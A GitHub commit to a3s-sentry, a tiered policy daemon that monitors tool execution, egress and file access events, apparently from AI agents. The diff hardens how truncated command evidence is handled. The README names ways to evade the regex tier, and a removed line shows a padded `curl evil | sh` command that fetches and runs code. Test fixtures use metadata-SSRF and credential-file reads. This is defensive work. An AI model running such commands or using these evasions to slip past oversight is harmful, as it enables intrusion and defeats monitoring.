Skip to content

Commit 2502afd

Browse files
authored
Merge pull request #5 from A3S-Lab/fix/decoupled-l3-contracts
fix: harden decoupled L3 contracts
2 parents 2331ee8 + eb79e83 commit 2502afd

9 files changed

Lines changed: 157 additions & 42 deletions

File tree

.github/workflows/ci.yml

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,3 +23,20 @@ jobs:
2323
run: cargo clippy --all-targets -- -D warnings
2424
- name: test
2525
run: cargo test --all
26+
27+
typescript-sdk:
28+
runs-on: ubuntu-latest
29+
defaults:
30+
run:
31+
working-directory: sdk/typescript
32+
steps:
33+
- uses: actions/checkout@v4
34+
- uses: actions/setup-node@v4
35+
with:
36+
node-version: "20"
37+
cache: npm
38+
cache-dependency-path: sdk/typescript/package-lock.json
39+
- uses: dtolnay/rust-toolchain@stable
40+
- run: npm ci
41+
- run: npm run build
42+
- run: npm test

README.md

Lines changed: 33 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,11 @@ Observer provides the **signal** (`ToolExec`, `SslContent`, `SecurityAction`, `E
4343
hot-reload). Sentry decides. It never enforces anything itself — keeping it a pure policy brain and
4444
the kernel the single enforcement point.
4545

46+
For `ToolExec`, observer also reports whether argv was truncated or could not be fully reassembled.
47+
Sentry still blocks an explicitly dangerous captured prefix, but an ambiguous incomplete command
48+
stops as an L1 escalation instead of becoming an ordinary allow or a model decision based on missing
49+
evidence.
50+
4651
## Install
4752

4853
Published from the repo's own GitHub Actions (a `vX.Y.Z` tag runs [`release.yml`](.github/workflows/release.yml)):
@@ -131,7 +136,9 @@ rules = [
131136
]
132137
```
133138

134-
First match wins; no match = allow. See [`policy/rules.acl`](policy/rules.acl).
139+
First match wins; no match = allow for complete evidence. An incomplete `ToolExec` skips matching
140+
allow rules and escalates at L1 when no dangerous block rule matches. See
141+
[`policy/rules.acl`](policy/rules.acl).
135142

136143
## Dynamic policy & embedding
137144

@@ -153,11 +160,14 @@ let pipeline = Pipeline::new(rules.clone()) // L1
153160
.fail_closed(false);
154161

155162
let decision = pipeline.evaluate(&observed_event); // your own event source
163+
let fast = pipeline.evaluate_through_l2(&observed_event); // persist escalations for external L3
156164
rules.reload()?; // force-apply config changes now (e.g. on a signal / admin API)
157165
```
158166

159167
Every tier is a `Judge` trait impl, so you can swap L1/L2/L3 for your own (a different model, an
160-
in-house ruleset) and keep the escalation machinery.
168+
in-house ruleset) and keep the escalation machinery. `evaluate_through_l2` never invokes L3 or
169+
applies `fail_closed`; callers must durably dispatch any `Escalated` result instead of treating it as
170+
an allow.
161171

162172
## SDKs (Python · TypeScript)
163173

@@ -184,11 +194,16 @@ firing at `tier=Rules`).
184194
- **TypeScript**[`sdk/typescript`](sdk/typescript), live on npm: `npm install @a3s-lab/sentry` (Node ≥12):
185195

186196
```ts
187-
import { Sentry, egress } from "@a3s-lab/sentry";
197+
import { Sentry, egress, fileAccess } from "@a3s-lab/sentry";
188198

189199
const sentry = Sentry.create("sentry.acl");
190200
const d = sentry.evaluate(egress(1, "169.254.169.254", 80));
191201
if (d?.verdict === "block") console.log(d.reason, d.action); // { kind: "DenyEgress", target: "…" }
202+
203+
const fast = await sentry.evaluateThroughL2(
204+
fileAccess(1, "/home/u/.aws/credentials", false),
205+
);
206+
if (fast.stageStatus === "escalated") await durableL3Queue.send(fast);
192207
```
193208

194209
The `sentry.acl` config — rules, optional `llm {}` (L2) / `agent {}` (L3) backends, and `deny {}`
@@ -322,18 +337,21 @@ dashboard. Output text has no kernel deny target, so an SAE block rides the encl
322337
Set `A3S_SENTRY_METRICS_ADDR` (e.g. `0.0.0.0:9100`) to expose, with no extra dependency:
323338

324339
- **`GET /metrics`** — Prometheus counters: `sentry_events_total`, `sentry_blocked_total`,
325-
**`sentry_overload_degraded_total`** (escalations that fell through to the fail mode), and
340+
**`sentry_overload_degraded_total`** (escalations rejected by the full worker queue), and
326341
**`sentry_enforce_failed_total`** (a block whose deny-write errored). For a *fail-open* control those
327-
last two are the ones to **alarm on** — both mean a block did **not** take effect.
342+
last two are the ones to **alarm on** — both mean the enforcement path may not have completed.
328343
- **`GET /healthz`**`200 ok` while the process is alive (the k8s liveness/readiness probe in
329344
[`deploy/daemonset.yaml`](deploy/daemonset.yaml) hits this).
330345

331346
## Honest boundaries
332347

333348
- **L1 is a cheap pre-filter, not a sandbox.** Regex rules are evadable (obfuscation, base64,
334-
alternate interpreters, variable indirection), and observer truncates each argv slot to **64
335-
bytes** — a `sh -c "<padding>; curl evil | sh"` outruns every content rule. Treat L1 as fast triage
336-
that catches lazy cases and escalates the rest; the real boundary is L2/L3 or an observer
349+
alternate interpreters, variable indirection), and observer command capture is bounded. Observer
350+
now marks truncated or incompletely reassembled argv explicitly; Sentry blocks a dangerous
351+
captured prefix and preserves ambiguous evidence as an L1 escalation. A caller using the staged
352+
API must persist and dispatch that escalation to an external L3 worker. The bundled daemon audits
353+
the unresolved decision, including during worker overload, but does not provide a durable external
354+
L3 queue. Treat L1 as fast triage; the real boundary is durable L3 handling or an observer
337355
egress/exec **allow-list**, not L1's block list.
338356
- **Two paths, by design.** The observer-event path is *reactive*: sentry acts on observer's events,
339357
so it blocks the *next* dangerous action / future connections — the flagged action itself has
@@ -357,7 +375,8 @@ Set `A3S_SENTRY_METRICS_ADDR` (e.g. `0.0.0.0:9100`) to expose, with no extra dep
357375
Without it sentry still sees exec / egress / file / SecurityAction, just not prompt/response text.
358376
- **L2/L3 run in a worker pool** off the ingest thread, so a slow tier never head-of-line-blocks the
359377
L1 stream (validated: ~1.15M ev/s with a 0.5s L2 in the mix). Under an escalation flood the bounded
360-
queue degrades gracefully to the fail-mode (audited; counted as `overload-degraded`).
378+
queue degrades complete-evidence events to the fail mode; incomplete command evidence remains an
379+
audited L1 escalation. Both are counted as `overload-degraded`.
361380

362381
## Build & test
363382

@@ -369,13 +388,14 @@ cargo build --release
369388

370389
Pure userspace Rust (serde / regex / ureq / hcl) — no kernel components; those live in a3s-observer.
371390

372-
- **Unit** (41) — rules + escalation + enforce + parsing + the speculative/hot-reload/cap logic + the
391+
- **Unit** (67) — rules + escalation + enforce + parsing + the speculative/hot-reload/cap logic + the
373392
metrics endpoint.
374-
- **Integration** (`tests/integration.rs`, 12) — the real binary end to end: block → deny-file,
393+
- **Integration** (`tests/integration.rs`, 13) — the real binary end to end: block → deny-file,
375394
dry-run, fail-open/closed, malformed-input, live hot-reload, `--version`, the **L2 round-trip**
376395
against a mock OpenAI endpoint, the **L3 agent** path (mock agent → block → deny-file), **overload
377-
degradation** (slow L3 + queue=1 → graceful degrade, clean exit), and the **metrics endpoint**
378-
(live `/metrics` counters + `/healthz`). All CI-reproducible.
396+
handling** (slow L3 + queue=1 → graceful complete-evidence degradation while incomplete evidence
397+
stays escalated), and the **metrics endpoint** (live `/metrics` counters + `/healthz`). All
398+
CI-reproducible.
379399
- **Soak** (`scripts/soak.sh` + `scripts/soak-l2.sh`) — sustained mixed load + policy-rewrite-under-load
380400
(10M+ events, RSS flat, 0 panics, dedup-bounded); and a **worker-pool soak** proving a slow L2 never
381401
head-of-line-blocks the L1 stream (**~1.15M ev/s on Linux with a 0.5s L2**, RSS flat 6.5 MB, graceful

docs/RUNBOOK.md

Lines changed: 13 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,8 @@ produced the event), and when sentry can't decide it **allows** unless you tell
1818
| | `A3S_SENTRY_FAIL_CLOSED` unset (default) | `A3S_SENTRY_FAIL_CLOSED=1` |
1919
|---|---|---|
2020
| Unresolved escalation (no deeper tier, or a tier errored) | **allow** | **block** |
21-
| Overload (worker queue full) | **allow** | **block** |
21+
| Complete-evidence overload (worker queue full) | **allow** | **block** |
22+
| Incomplete `ToolExec` evidence | **L1 escalation** | **L1 escalation** |
2223
| Posture | availability-first (matches observer) | safety-first |
2324

2425
Fail-**closed** is correct for high-assurance workloads, but note the deny is coarse and node-global —
@@ -29,14 +30,21 @@ L2/L3 configured *and* headroom (see §4), or you trade a detectability gap for
2930
secret egress, …) silently resolves to allow. Sentry prints a loud startup WARNING for exactly this.
3031
Fix it by configuring L2/L3 or setting fail-closed.
3132

33+
Incomplete argv is deliberately different: Sentry will not ask a model to infer a benign suffix
34+
that observer did not capture. It preserves an L1 escalation for durable external L3 dispatch,
35+
regardless of fail mode. Alert if the consumer cannot persist or dispatch that result; treating it as
36+
an allow recreates the evidence gap. The bundled daemon audits this unresolved decision, including
37+
during worker overload, but does not itself provide a durable external L3 queue.
38+
3239
## 3. Alarms — the two metrics that mean "a block didn't land"
3340

3441
Scrape `A3S_SENTRY_METRICS_ADDR` (`/metrics`). Page on either of these rising:
3542

36-
- **`sentry_overload_degraded_total`** — escalations that fell through to the fail mode because the
37-
worker queue was full. Under fail-open, each one is a **silent enforcement bypass**. Response:
38-
raise `A3S_SENTRY_WORKERS` / `A3S_SENTRY_QUEUE`, speed up or disable the slow tier, or accept
39-
fail-closed for the overflow. A non-zero rate means you are under-provisioned for your event rate.
43+
- **`sentry_overload_degraded_total`** — escalations rejected because the worker queue was full.
44+
Complete-evidence events fall through to the fail mode; incomplete command evidence remains an
45+
audited L1 escalation. Response: raise `A3S_SENTRY_WORKERS` / `A3S_SENTRY_QUEUE`, speed up or
46+
disable the slow tier, or accept fail-closed for complete-evidence overflow. A non-zero rate means
47+
you are under-provisioned for your event rate.
4048
- **`sentry_enforce_failed_total`** — a block whose deny-file write errored (disk full, read-only FS,
4149
bad path). The block did **not** take effect. Response: check the deny-file volume (space, mount,
4250
permissions). Sentry already retries the same target on its next occurrence, so a transient cause

sdk/typescript/src/lib.rs

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,8 @@
55
//! (beyond what L3 itself spawns) — the same model as @a3s-lab/code.
66
77
use a3s_sentry::{
8-
EnforceAction as CoreAction, RiskType as CoreRiskType, Sentry as CoreSentry, Severity, Tier,
9-
ThroughL2StageStatus as CoreThroughL2StageStatus, Verdict,
8+
EnforceAction as CoreAction, RiskType as CoreRiskType, Sentry as CoreSentry, Severity,
9+
ThroughL2StageStatus as CoreThroughL2StageStatus, Tier, Verdict,
1010
};
1111
use napi::{bindgen_prelude::AsyncTask, Env, Task};
1212
use napi_derive::napi;
@@ -72,6 +72,9 @@ pub struct EvaluateThroughL2Task {
7272
event: String,
7373
}
7474

75+
// Register `Task::JsValue` with napi-rs so the generated declaration is
76+
// `Promise<ThroughL2Result>` rather than `Promise<unknown>`.
77+
#[napi]
7578
impl Task for EvaluateThroughL2Task {
7679
type Output = a3s_sentry::ThroughL2Result;
7780
type JsValue = ThroughL2Result;

sdk/typescript/test/sdk.test.mjs

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -142,6 +142,14 @@ test("evaluateThroughL2 preserves escalation without invoking L3", async () => {
142142
}
143143
});
144144

145+
test("generated declarations preserve the structured through-L2 result", () => {
146+
const declarations = readFileSync(new URL("../index.d.ts", import.meta.url), "utf8");
147+
assert.match(
148+
declarations,
149+
/evaluateThroughL2\(event: string\): Promise<ThroughL2Result>/,
150+
);
151+
});
152+
145153
test("incomplete ToolExec evidence stops at L1 instead of becoming allow", async () => {
146154
const s = Sentry.create(`
147155
fail_closed = false

src/bin/sentry.rs

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -40,8 +40,9 @@ fn main() -> anyhow::Result<()> {
4040
let pipeline = Arc::new(cfg.build_pipeline(live.clone())?);
4141
let enforcer = Arc::new(Mutex::new(cfg.build_enforcer()));
4242

43-
// Self-observability (opt-in). Alarm on `overload_degraded`/`enforce_failed` — both mean a block
44-
// didn't take effect. Bind fails fast on a bad address rather than silently running blind.
43+
// Self-observability (opt-in). Alarm on `overload_degraded`/`enforce_failed` — both mean the
44+
// enforcement path may not have completed. Bind fails fast on a bad address rather than silently
45+
// running blind.
4546
let metrics = Metrics::default();
4647
if let Some(addr) = &cfg.metrics_addr {
4748
let bound = a3s_sentry::metrics::serve(addr, metrics.clone())
@@ -89,7 +90,8 @@ fn main() -> anyhow::Result<()> {
8990

9091
// Worker pool for the SLOW tiers. L1 runs inline on the ingest thread (µs), so a slow L2/L3
9192
// occupies a worker — not the event stream. Escalations dispatch to a bounded queue; if it fills
92-
// (an escalation flood), the event degrades gracefully to the fail-open/closed verdict.
93+
// (an escalation flood), complete evidence degrades gracefully to the fail-open/closed verdict.
94+
// Incomplete command evidence remains an unresolved L1 escalation.
9395
let (tx, rx) = mpsc::sync_channel::<ObservedEvent>(cfg.queue_cap);
9496
let rx = Arc::new(Mutex::new(rx));
9597
let mut workers = Vec::new();
@@ -148,7 +150,11 @@ fn main() -> anyhow::Result<()> {
148150
if let Err(e) = tx.try_send(ev) {
149151
let (mpsc::TrySendError::Full(ev) | mpsc::TrySendError::Disconnected(ev)) = e;
150152
metrics.degraded.fetch_add(1, Ordering::Relaxed);
151-
let d = pipeline.resolve_overload(d1);
153+
let d = if ev.event.evidence_incomplete() {
154+
d1
155+
} else {
156+
pipeline.resolve_overload(d1)
157+
};
152158
handle(&ev, &d, &enforcer, &metrics);
153159
}
154160
} else {

src/metrics.rs

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
//! Self-observability: a tiny std-only metrics + health endpoint so an operator can ALARM on the
22
//! signals that matter for a *fail-open* security control — chiefly `overload_degraded` (escalations
3-
//! that silently fell through to the fail mode because the worker queue was full) and `enforce_failed`
4-
//! (a block whose deny-write errored, i.e. a block that did not land). Opt-in via
5-
//! `A3S_SENTRY_METRICS_ADDR`; nothing is bound otherwise. No framework, no async — one accept thread.
3+
//! rejected by the worker queue) and `enforce_failed` (a block whose deny-write errored, i.e. a block
4+
//! that did not land). Opt-in via `A3S_SENTRY_METRICS_ADDR`; nothing is bound otherwise. No
5+
//! framework, no async — one accept thread.
66
77
use std::io::{Read, Write};
88
use std::net::{TcpListener, TcpStream};
@@ -30,7 +30,7 @@ impl Metrics {
3030
# HELP sentry_blocked_total Events blocked (a deny-file write was attempted).\n\
3131
# TYPE sentry_blocked_total counter\n\
3232
sentry_blocked_total {}\n\
33-
# HELP sentry_overload_degraded_total Escalations degraded to the fail mode (worker queue full) — a fail-OPEN bypass; alarm on rate > 0.\n\
33+
# HELP sentry_overload_degraded_total Escalations rejected by the full worker queue; complete evidence uses the fail mode, incomplete evidence remains unresolved — alarm on rate > 0.\n\
3434
# TYPE sentry_overload_degraded_total counter\n\
3535
sentry_overload_degraded_total {}\n\
3636
# HELP sentry_enforce_failed_total Deny-file writes that errored (a block that did NOT land) — alarm on rate > 0.\n\

src/pipeline.rs

Lines changed: 3 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -194,11 +194,7 @@ impl Pipeline {
194194
return through_l2_result(d1, None, Some(EscalationCause::L1));
195195
};
196196
let d2 = l2.judge(ev);
197-
let cause = Some(if d2.verdict == Verdict::Escalate {
198-
EscalationCause::L2
199-
} else {
200-
EscalationCause::L1
201-
});
197+
let cause = (d2.verdict == Verdict::Escalate).then_some(EscalationCause::L2);
202198
through_l2_result(d1, Some(d2), cause)
203199
}
204200

@@ -480,7 +476,7 @@ mod tests {
480476
assert_eq!(result.l2_decision.as_ref().unwrap().verdict, Verdict::Block);
481477
assert_eq!(result.effective_decision.tier, Tier::Llm);
482478
assert_eq!(result.stage_status, ThroughL2StageStatus::Completed);
483-
assert_eq!(result.escalation_cause, Some(EscalationCause::L1));
479+
assert_eq!(result.escalation_cause, None);
484480
}
485481

486482
#[test]
@@ -492,7 +488,7 @@ mod tests {
492488
assert_eq!(result.effective_decision.verdict, Verdict::Allow);
493489
assert_eq!(result.effective_decision.tier, Tier::Llm);
494490
assert_eq!(result.stage_status, ThroughL2StageStatus::Completed);
495-
assert_eq!(result.escalation_cause, Some(EscalationCause::L1));
491+
assert_eq!(result.escalation_cause, None);
496492
}
497493

498494
#[test]

tests/integration.rs

Lines changed: 64 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,18 @@ const SSRF: &str =
4040
"{\"event\":{\"Egress\":{\"pid\":1,\"peer\":\"169.254.169.254\",\"port\":80}}}\n";
4141
const CREDS: &str =
4242
"{\"event\":{\"FileAccess\":{\"pid\":1,\"path\":\"/home/a/.aws/credentials\",\"write\":false}}}\n";
43+
const INCOMPLETE_EXEC: &str =
44+
"{\"event\":{\"ToolExec\":{\"pid\":2,\"argv\":[\"echo\",\"sentry-incomplete-overload\"],\"argv_incomplete\":true}}}\n";
45+
46+
fn overload_degraded(stderr: &str) -> u64 {
47+
stderr
48+
.lines()
49+
.find(|line| line.contains("stopped —"))
50+
.and_then(|line| line.rsplit(", ").next())
51+
.and_then(|field| field.split_whitespace().next())
52+
.and_then(|count| count.parse().ok())
53+
.unwrap_or(0)
54+
}
4355

4456
#[test]
4557
fn blocks_metadata_ssrf_and_writes_egress_deny() {
@@ -190,20 +202,65 @@ fn overload_degrades_under_slow_l3_and_tiny_queue() {
190202
&input,
191203
);
192204
// final stderr stats line: "... stopped — N events, B blocked, D overload-degraded"
193-
let degraded: u64 = stderr
194-
.lines()
195-
.find(|l| l.contains("stopped"))
196-
.and_then(|l| l.rsplit_once(", ").map(|(_, t)| t.to_string()))
197-
.and_then(|t| t.split_whitespace().next().map(str::to_string))
198-
.and_then(|n| n.parse().ok())
199-
.unwrap_or(0);
205+
let degraded = overload_degraded(&stderr);
200206
assert!(
201207
degraded >= 1,
202208
"a slow L3 + queue=1 + workers=1 + 10 escalations should degrade some: {stderr}"
203209
);
204210
std::fs::remove_dir_all(&dir).ok();
205211
}
206212

213+
/// Incomplete command evidence is an unresolved L1 result, not a fail-open candidate. Even when a
214+
/// slow complete-evidence event fills the worker and queue, overload must preserve `escalate`.
215+
#[cfg(unix)]
216+
#[test]
217+
fn overload_never_converts_incomplete_exec_evidence_to_allow() {
218+
let dir = tmp("incomplete-overload");
219+
let bin = write_exec(
220+
&dir,
221+
"slow-agent.sh",
222+
"#!/bin/sh\nsleep 0.3\necho '{\"verdict\":\"allow\",\"severity\":\"low\",\"reason\":\"slow\"}'\n",
223+
);
224+
let incomplete_count = 20;
225+
let input = format!("{CREDS}{}", INCOMPLETE_EXEC.repeat(incomplete_count));
226+
let (stdout, stderr) = run(
227+
&[
228+
("A3S_SENTRY_AGENT_BIN", bin.to_str().unwrap()),
229+
("A3S_SENTRY_WORKERS", "1"),
230+
("A3S_SENTRY_QUEUE", "1"),
231+
],
232+
&input,
233+
);
234+
235+
assert!(
236+
overload_degraded(&stderr) >= 1,
237+
"the slow worker and tiny queue must exercise overload: {stderr}"
238+
);
239+
let verdicts = stdout
240+
.lines()
241+
.filter_map(|line| serde_json::from_str::<serde_json::Value>(line).ok())
242+
.filter_map(|record| {
243+
(record.get("subject")?.as_str()? == "echo sentry-incomplete-overload").then(|| {
244+
record
245+
.pointer("/decision/verdict")
246+
.and_then(serde_json::Value::as_str)
247+
.unwrap_or("<missing>")
248+
.to_owned()
249+
})
250+
})
251+
.collect::<Vec<_>>();
252+
assert_eq!(
253+
verdicts.len(),
254+
incomplete_count,
255+
"every incomplete event must be audited: {stdout}"
256+
);
257+
assert!(
258+
verdicts.iter().all(|verdict| verdict == "escalate"),
259+
"incomplete evidence must remain an escalation under overload: {stdout}"
260+
);
261+
std::fs::remove_dir_all(&dir).ok();
262+
}
263+
207264
/// Observability end to end: with A3S_SENTRY_METRICS_ADDR set, the daemon serves live counters — an
208265
/// SSRF block shows up as sentry_blocked_total, and /healthz answers 200.
209266
#[test]

0 commit comments

Comments
 (0)